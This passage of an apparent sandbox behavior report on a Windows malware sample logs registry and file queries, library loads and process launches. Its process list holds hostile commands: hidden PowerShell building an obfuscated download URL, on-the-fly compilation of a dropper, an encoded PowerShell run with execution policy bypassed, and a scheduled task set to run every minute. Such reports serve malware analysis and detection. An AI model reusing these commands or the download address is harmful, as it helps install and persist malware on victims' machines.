"DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")34:T10c9,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005396-00000C17-1675723404 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005396-00000C17-1676358582 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005396-00000C17-1676778578 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005396-00000C17-1677020511 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005396-00000C17-1678078267 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005396-00000C17-1678220508 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005396-00000C17-1678270591 "sys_installer_27525.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\sys_installer_27525.exe" at 00000000-00001352-00000C17-1683606427 "sys_installer_27525.exe" queries volume information of "C:\Windows\Fonts\segoeui.ttf" at 00000000-00001352-00000C17-1686488831 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701764623 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701765313 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701774022 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701775171 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701777492 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701778158 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701780171 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701781849 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701782861 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701783891 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\python311.zip" at 00000000-00004796-00000C17-1701784757 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\run.py" at 00000000-00004796-00000C17-1701830142 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\run.py" at 00000000-00004796-00000C17-1701830762 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\run.py" at 00000000-00004796-00000C17-1701831291 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\run.py" at 00000000-00004796-00000C17-1701831964 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\SystemDrivers\macOSx\run.py" at 00000000-00004796-00000C17-170183257735:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")36:T64d,"cmd.exe" called "CreateProcessW" with parameter "powershell.exe -w hidden -c "$x='7ttps://r4w.8it7u9userc0ntent.c0m/tiiisiet65-sud0/L0i0i0N04isK/m4in/D0wnl04d-m4cOSx.cmd'.Replace" - (UID: 00000000-00006852), "powershell.exe" called "CreateProcessW" with parameter ""%TEMP%\s.cmd"" - (UID: 00000000-00005396), "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /target:winexe /out:"%TEMP%\sys_in" - (UID: 00000000-00001284) "cmd.exe" called "CreateProcessW" with parameter ""%TEMP%\sys_installer_27525.exe"" - (UID: 00000000-00001284) "sys_installer_27525.exe" called "CreateProcessW" with parameter ""%TEMP%\SystemDrivers\macOSx\python.exe" "%TEMP%\SystemDrivers\macOSx\ru" - (UID: 00000000-00001352), "python.exe" called "CreateProcessW" with parameter ""C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AcroRd32.exe" "%TEMP%\Mango.pdf"" - (UID: 00000000-00004796), "python.exe" called "CreateProcessW" with parameter "%TEMP%\Drivers\macOS\py.exe %TEMP%\Drivers\macOS\run.py" - (UID: 00000000-00004796), "py.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "schtasks /Create /TN "Drivers_EveryMinute" /XML "%TEMP%\tmp67_g0g76.x" - (UID: 00000000-00002592), "py.exe" called "CreateProcessW" with parameter ""powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAa" - (UID: 00000000-00002592), "cmd.exe" called "CreateProcessW" with parameter "schtasks /Create /TN "Drivers_EveryMinute" /XML "%TEMP%\tmp67_g0g76.xml" /F" - (UID: 00000000-00003528)37:Ta55b,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006852) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006852) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006852) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006852) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00005396) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00005396) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001284) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001284) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001284) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001284) "sys_installer_27525.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.IO.Cf61e09c5#\fa3056c0895561a08f7cf15a33efbbbd\System.IO.Compression.FileSys (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter 